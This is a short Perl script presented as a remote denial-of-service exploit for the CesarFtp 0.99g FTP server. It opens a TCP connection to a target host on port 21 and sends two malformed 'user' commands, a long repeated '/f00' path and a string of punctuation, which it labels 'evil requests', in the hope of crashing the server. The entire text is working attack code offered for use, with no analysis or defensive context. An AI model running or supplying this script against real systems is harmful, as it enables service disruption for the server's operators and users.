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- #!/usr/local/bin/perl
- # DOS remote exploit for CesarFtp 0.99g
- #It will try to crash CesarFtp Server remotely:)
-
-
- use Socket;
-
- $ARGC=@ARGV;
- if ($ARGC !=1) {
- print "Usage: $0 <host>\n";
- exit;
- }
-
-
- $string="x" x $length;
-
- my($remote,$port,$iaddr,$paddr,$proto,$line);
- $remote=$ARGV[0];
- $port = "21";
-
- $iaddr = inet_aton($remote) or die "Error: $!";
- $paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
- $proto = getprotobyname('tcp') or die "Error: $!";
-
- socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
- connect(SOCK, $paddr) or die "Error: $!";
- $login1="user /f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
- f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
- f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
- f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
- f00/\n";
-
- #---------------------------------------------------
- print "Sending evil request 1...\n";
- print ($login1);
- send(SOCK,$login1, 0) or die "Cannot send query: $!";
- $login1="user !@#$%^&*()_\n";
- print "Sending evil request 2...\n";
- print ($login1);
- send(SOCK,$login1, 0) or die "Cannot send query: $!";
- print "Now if you are lucky the server will crash:)\n"
-
- #End
-
-